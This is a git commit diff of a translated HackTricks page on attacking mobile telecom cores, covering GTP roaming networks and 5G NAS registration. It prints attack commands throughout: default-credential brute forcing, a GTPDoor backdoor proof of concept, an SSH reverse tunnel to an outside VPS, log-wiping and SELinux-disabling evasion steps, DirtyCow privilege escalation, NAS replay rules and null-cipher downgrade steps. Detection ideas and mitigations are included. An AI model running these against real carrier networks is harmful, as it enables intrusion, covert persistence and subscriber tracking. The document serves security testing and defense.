mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw
This commit is contained in:
parent
4f4f257b52
commit
bb3b415e77
@ -1,27 +1,27 @@
|
||||
# Telecom Network Exploitation (GTP / Roaming Environments)
|
||||
# 텔레콤 네트워크 악용 (GTP / 로밍 환경)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> 모바일 코어 프로토콜(GPRS Tunnelling Protocol – GTP)은 종종 반신뢰 GRX/IPX 로밍 백본을 통과합니다. 거의 인증 없이 일반 UDP 위에서 작동하기 때문에, **통신 경계 내의 어떤 발판도 일반적으로 코어 신호 평면에 직접 접근할 수 있습니다**. 다음 메모는 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대해 실제로 관찰된 공격 기술을 수집합니다.
|
||||
> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, **통신사 경계 내의 어떤 foothold든 일반적으로 코어 signalling plane에 직접 도달할 수 있다**. 다음 메모들은 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대해 실제로 관찰된 공격 기법들을 정리한 것이다.
|
||||
|
||||
## 1. Recon & Initial Access
|
||||
## 1. 정찰 및 초기 접근
|
||||
|
||||
### 1.1 Default OSS / NE Accounts
|
||||
놀랍게도 많은 벤더 네트워크 요소는 `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`와 같은 하드코딩된 SSH/Telnet 사용자와 함께 제공됩니다. 전용 단어 목록은 무차별 대입 성공률을 극적으로 증가시킵니다:
|
||||
### 1.1 기본 OSS / NE 계정
|
||||
상당수의 벤더 네트워크 장비는 `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … 와 같은 하드코드된 SSH/Telnet 사용자로 출하시된다. 전용 워드리스트는 브루트포스 성공률을 크게 높인다:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
장치가 관리 VRF만 노출하는 경우, 먼저 점프 호스트를 통해 피벗합니다(아래 «SGSN Emu Tunnel» 섹션 참조).
|
||||
장치가 관리 VRF만 노출하는 경우, 먼저 jump host를 통해 pivot 하세요 (아래 «SGSN Emu Tunnel» 섹션 참조).
|
||||
|
||||
### 1.2 GRX/IPX 내 호스트 검색
|
||||
대부분의 GRX 운영자는 여전히 백본을 통해 **ICMP echo**를 허용합니다. `masscan`을 내장된 `gtpv1` UDP 프로브와 결합하여 GTP-C 리스너를 신속하게 매핑합니다:
|
||||
### 1.2 GRX/IPX 내부의 호스트 검색
|
||||
대부분의 GRX 운영자는 여전히 백본 전반에 걸쳐 **ICMP echo**를 허용합니다. `masscan`의 내장 `gtpv1` UDP 프로브를 사용하면 GTP-C 리스너를 빠르게 매핑할 수 있습니다:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. 구독자 열거하기 – `cordscan`
|
||||
## 2. Enumerating Subscribers – `cordscan`
|
||||
|
||||
다음 Go 도구는 **GTP-C Create PDP Context Request** 패킷을 생성하고 응답을 기록합니다. 각 응답은 쿼리된 IMSI를 제공하는 현재 **SGSN / MME**를 드러내며, 때때로 구독자가 방문한 PLMN도 나타냅니다.
|
||||
다음 Go 도구는 **GTP-C Create PDP Context Request** 패킷을 생성하고 응답을 기록합니다. 각 응답은 쿼리된 IMSI에 서비스를 제공하는 현재 **SGSN / MME** 및 때때로 가입자의 방문 PLMN을 드러냅니다.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -30,21 +30,21 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
주요 플래그:
|
||||
- `--imsi` 대상 구독자 IMSI
|
||||
- `--oper` 홈 / HNI (MCC+MNC)
|
||||
- `--imsi` 대상 가입자 IMSI
|
||||
- `--oper` Home / HNI (MCC+MNC)
|
||||
- `-w` 원시 패킷을 pcap에 기록
|
||||
|
||||
이진 파일 내의 중요한 상수는 스캔을 확장하기 위해 패치할 수 있습니다:
|
||||
바이너리 내부의 중요한 상수는 스캔 범위를 넓히기 위해 패치할 수 있다:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. GTP를 통한 코드 실행 – `GTPDoor`
|
||||
## 3. Code Execution over GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor`는 **UDP 2123에 바인딩하고 모든 수신 GTP-C 패킷을 파싱하는** 작은 ELF 서비스입니다. 페이로드가 사전 공유 태그로 시작하면 나머지는 복호화(AES-128-CBC)되어 `/bin/sh -c`를 통해 실행됩니다. stdout/stderr는 **Echo Response** 메시지 내에서 유출되어 외부 세션이 생성되지 않도록 합니다.
|
||||
`GTPDoor`는 UDP 2123에 바인드되어 수신되는 모든 GTP-C 패킷을 파싱하는 작은 ELF 서비스입니다. payload가 pre-shared tag로 시작하면 나머지 데이터는 AES-128-CBC로 복호화되어 `/bin/sh -c`로 실행됩니다. stdout/stderr는 **Echo Response** 메시지 안에 exfiltrated되어 외부 세션이 생성되지 않습니다.
|
||||
|
||||
최소 PoC 패킷 (Python):
|
||||
Minimal PoC packet (Python):
|
||||
```python
|
||||
import gtpc, Crypto.Cipher.AES as AES
|
||||
key = b"SixteenByteKey!"
|
||||
@ -53,37 +53,37 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
탐지:
|
||||
* SGSN IP로 **불균형 에코 요청**을 보내는 호스트
|
||||
* 메시지 유형 = 1(에코)일 때 GTP 버전 플래그가 1로 설정됨 – 사양에서의 편차
|
||||
* 어떤 호스트가 SGSN IP들로 **unbalanced Echo Requests**를 전송하는 경우
|
||||
* GTP version flag가 1로 설정되어 있고 message type = 1 (Echo)인 경우 – 명세와의 불일치
|
||||
|
||||
## 4. 코어를 통한 피벗팅
|
||||
## 4. 코어를 통한 Pivoting
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN`은 **실제 GGSN/PGW에 대한 PDP 컨텍스트를 설정할 수 있는 SGSN 에뮬레이터**를 제공합니다. 협상이 완료되면, Linux는 로밍 피어에서 접근 가능한 새로운 `tun0` 인터페이스를 수신합니다.
|
||||
`OsmoGGSN`은 실제 GGSN/PGW를 향해 **establish a PDP context towards a real GGSN/PGW** 할 수 있는 SGSN 에뮬레이터를 포함합니다. 협상 후, Linux는 로밍 피어에서 접근 가능한 새로운 `tun0` 인터페이스를 받습니다.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
적절한 방화벽 헤어핀을 사용하면 이 터널이 신호 전용 VLAN을 우회하고 **데이터 평면**에 직접 도달합니다.
|
||||
적절한 firewall hair-pinning을 통해, 이 터널은 signalling-only VLANs를 우회하여 당신을 직접 **data plane**에 진입시킵니다.
|
||||
|
||||
### 4.2 포트 53을 통한 SSH 리버스 터널
|
||||
DNS는 로밍 인프라에서 거의 항상 열려 있습니다. 내부 SSH 서비스를 VPS에 노출하여 :53에서 수신 대기하고 나중에 집에서 돌아오세요:
|
||||
### 4.2 SSH Reverse Tunnel 포트 53을 통한
|
||||
로밍 인프라에서는 DNS가 거의 항상 열려 있습니다. 내부 SSH 서비스를 :53에서 listening하도록 VPS에 노출시키고, 집에서 나중에 접속하십시오:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
`GatewayPorts yes`가 VPS에서 활성화되어 있는지 확인하십시오.
|
||||
VPS에서 `GatewayPorts yes`가 활성화되어 있는지 확인하세요.
|
||||
|
||||
## 5. 은밀한 채널
|
||||
## 5. 은밀 채널
|
||||
|
||||
| 채널 | 전송 | 디코딩 | 비고 |
|
||||
|---------|-----------|----------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4바이트 키 + 14바이트 청크 (XOR) | 순수 수동 리스너, 아웃바운드 트래픽 없음 |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (키 = `funnyAndHappy`) A 레코드 옥텟에 인코딩 | `*.nodep` 서브 도메인 감시 |
|
||||
| GTP – `GTPDoor` | UDP 2123 | 개인 IE에 AES-128-CBC 블롭 | 합법적인 GTP-C 대화와 혼합 |
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 순수한 수동 리스너, 아웃바운드 트래픽 없음 |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | `*.nodep` 서브도메인을 모니터링함 |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | 정상적인 GTP-C 통신과 섞여 위장함 |
|
||||
|
||||
모든 임플란트는 **타임스톱**하여 이진 파일을 감시하고 충돌 시 재생성합니다.
|
||||
모든 implants는 watchdogs를 구현하며, 바이너리를 **timestomp**하고 충돌 시 re-spawn합니다.
|
||||
|
||||
## 6. 방어 회피 치트시트
|
||||
```bash
|
||||
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. 레거시 NE에서의 권한 상승
|
||||
## 7. 구형 NE에서의 Privilege Escalation
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
@ -118,23 +118,130 @@ rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Tool Box
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – 이전 섹션에서 설명한 사용자 정의 도구.
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – 이전 섹션에서 설명한 custom tooling.
|
||||
* `FScan` : 인트라넷 TCP 스윕 (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS 악성 WPAD
|
||||
* `Microsocks` + `ProxyChains` : 경량 SOCKS5 피벗
|
||||
* `FRP` (≥0.37) : NAT 우회 / 자산 브리징
|
||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : 경량 SOCKS5 pivoting
|
||||
* `FRP` (≥0.37) : NAT traversal / 자산 브리징
|
||||
|
||||
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
|
||||
5G 등록 절차는 NGAP 위에서 NAS(Non-Access Stratum)로 동작한다. Security Mode Command/Complete로 NAS 보안이 활성화되기 전까지 초기 메시지는 인증되지도 암호화되지도 않는다. 이 보안 이전 창은 N2 트래픽을 관찰하거나 변조할 수 있을 때(예: 코어 내부 on-path, rogue gNB, 또는 테스트베드) 여러 공격 경로를 허용한다.
|
||||
|
||||
Registration flow (simplified):
|
||||
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
|
||||
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
|
||||
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
|
||||
- PDU Session Establishment: IP/QoS setup.
|
||||
|
||||
Lab setup tips (non-RF):
|
||||
- Core: Open5GS default deployment은 흐름을 재현하기에 충분함.
|
||||
- UE: simulator 또는 test UE; Wireshark로 디코드.
|
||||
- Active tooling: 5GReplay (NGAP 내에서 NAS 캡처/수정/재전송), Sni5Gect (전체 rogue gNB를 띄우지 않고도 NAS를 실시간으로 스니핑/패치/인젝션).
|
||||
- Useful display filters in Wireshark:
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
||||
Expected: UE/USIM은 SUCI(SUPI를 홈 네트워크 공개키로 암호화한 것)를 전송해야 한다. Registration Request에서 평문 SUPI/IMSI를 발견하면 지속적인 가입자 추적을 가능하게 하는 프라이버시 결함을 의미한다.
|
||||
|
||||
How to test:
|
||||
- InitialUEMessage의 첫 NAS 메시지를 캡처하고 Mobile Identity IE를 검사.
|
||||
- Wireshark quick checks:
|
||||
- 디코딩 결과가 SUCI로 나와야 하며 IMSI로 나오면 안 됨.
|
||||
- 필터 예: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci`가 존재해야 함; 해당 항목이 없고 `imsi`가 존재하면 노출을 의미.
|
||||
|
||||
What to collect:
|
||||
- 노출된 경우 MCC/MNC/MSIN을 수집; UE별로 기록하고 시간/위치에 따라 추적.
|
||||
|
||||
Mitigation:
|
||||
- SUCI 전용 UE/USIM 강제화; 초기 NAS에서 어떤 IMSI/SUPI라도 감지되면 경보.
|
||||
|
||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
||||
Background:
|
||||
- UE는 Registration Request의 UE Security Capability IE에 지원하는 EEA(암호화)와 EIA(무결성)를 광고함.
|
||||
- 일반적인 매핑: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0은 null 알고리즘임.
|
||||
|
||||
Issue:
|
||||
- Registration Request는 무결성으로 보호되지 않기 때문에 on-path 공격자는 capability 비트를 제거해 이후 Security Mode Command에서 EEA0/EIA0 선택을 강제할 수 있다. 일부 스택은 긴급 서비스 외부에서도 null 알고리즘을 잘못 허용한다.
|
||||
|
||||
Offensive steps:
|
||||
- InitialUEMessage를 가로채 NAS UE Security Capability를 EEA0/EIA0만 광고하도록 수정.
|
||||
- Sni5Gect로 NAS 메시지를 후킹하여 전달하기 전에 capability 비트를 패치.
|
||||
- AMF가 null cipher/integrity를 수락하고 Security Mode를 EEA0/EIA0로 완료하는지 관찰.
|
||||
|
||||
Verification/visibility:
|
||||
- Security Mode Command/Complete 이후 선택된 알고리즘을 Wireshark에서 확인.
|
||||
- Example passive sniffer output:
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
완화 조치(필수):
|
||||
- AMF/policy를 구성하여 EEA0/EIA0를 엄격히 요구되는 경우(예: 긴급 통화)를 제외하고 거부하도록 설정.
|
||||
- 최소한 EEA2/EIA2 적용을 권장; null 알고리즘을 협상하는 모든 NAS 보안 컨텍스트에 대해 로그 기록 및 경보를 설정.
|
||||
|
||||
### 9.3 초기 Registration Request의 Replay (pre-security NAS)
|
||||
초기 NAS는 무결성(integrity)과 신선도(freshness)가 부족하므로, 캡처된 InitialUEMessage+Registration Request는 AMF로 재생(replay)될 수 있다.
|
||||
|
||||
매칭되는 replays를 전달하기 위한 5GReplay용 PoC 룰:
|
||||
```xml
|
||||
<beginning>
|
||||
<property value="THEN"
|
||||
property_id="101"
|
||||
type_property="FORWARD"
|
||||
description="Forward InitialUEMessage with Registration Request">
|
||||
|
||||
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
|
||||
<event value="COMPUTE"
|
||||
event_id="1"
|
||||
description="Trigger: InitialUEMessage"
|
||||
boolean_expression="ngap.procedure_code == 15"/>
|
||||
|
||||
<!-- Context match on NAS Registration Request (message_type == 65) -->
|
||||
<event value="COMPUTE"
|
||||
event_id="2"
|
||||
description="Context: Registration Request"
|
||||
boolean_expression="nas_5g.message_type == 65"/>
|
||||
|
||||
</property>
|
||||
</beginning>
|
||||
```
|
||||
What to observe:
|
||||
- AMF가 replay를 수락하고 Authentication으로 진행하는지 확인; freshness/컨텍스트 검증 부재는 노출을 의미함.
|
||||
|
||||
Mitigations:
|
||||
- AMF에서 replay 보호/컨텍스트 바인딩을 적용; GNB/UE별로 rate-limit 및 상관관계 분석 수행.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: AMF/SMF/UPF를 띄워 코어를 에뮬레이트; N2 (NGAP) 및 NAS 관찰.
|
||||
- Wireshark: NGAP/NAS 디코드 확인; 위 필터를 적용해 Registration을 분리.
|
||||
- 5GReplay: registration을 캡처한 뒤 규칙에 따라 특정 NGAP + NAS 메시지를 replay.
|
||||
- Sni5Gect: NAS control-plane을 실시간으로 sniff/modify/inject하여 null 알고리즘을 유도하거나 인증 시퀀스를 교란.
|
||||
|
||||
### 9.5 Defensive checklist
|
||||
- Registration Request에서 평문 SUPI/IMSI를 지속적으로 검사; 문제 있는 장치/USIM을 차단.
|
||||
- EEA0/EIA0는 엄격히 정의된 긴급 절차를 제외하고 거부; 최소 EEA2/EIA2 요구.
|
||||
- 무단 또는 잘못 구성된 인프라 탐지: 비인가 gNB/AMF, 예기치 않은 N2 피어.
|
||||
- null 알고리즘을 초래하거나 InitialUEMessage의 빈번한 replay가 발생하는 NAS 보안 모드에 대해 경보.
|
||||
|
||||
---
|
||||
## Detection Ideas
|
||||
1. **SGSN/GGSN 이외의 장치가 PDP 컨텍스트 요청을 생성하는 경우**.
|
||||
2. **비표준 포트(53, 80, 443)가 내부 IP로부터 SSH 핸드셰이크를 수신하는 경우**.
|
||||
3. **상응하는 에코 응답 없이 빈번한 에코 요청** – GTPDoor 비콘을 나타낼 수 있음.
|
||||
4. **큰 비제로 식별자/시퀀스 필드를 가진 ICMP 에코 응답 트래픽의 높은 비율**.
|
||||
1. **SGSN/GGSN 이외의 장치가 Create PDP Context Requests를 생성하는 경우**.
|
||||
2. **내부 IP로부터 SSH handshakes를 수신하는 비표준 포트(53, 80, 443)**.
|
||||
3. **상응하는 Echo Responses 없이 Echo Requests가 빈번한 경우** – GTPDoor 비콘을 나타낼 수 있음.
|
||||
4. **identifier/sequence 필드가 크고 0이 아닌 ICMP echo-reply 트래픽의 높은 비율**.
|
||||
5. 5G: **동일한 엔드포인트에서 반복되는 NAS Registration Requests를 포함한 InitialUEMessage** (replay signal).
|
||||
6. 5G: **긴급 상황 외에서 EEA0/EIA0를 협상하는 NAS Security Mode**.
|
||||
|
||||
## References
|
||||
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
|
||||
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
|
||||
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
|
||||
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user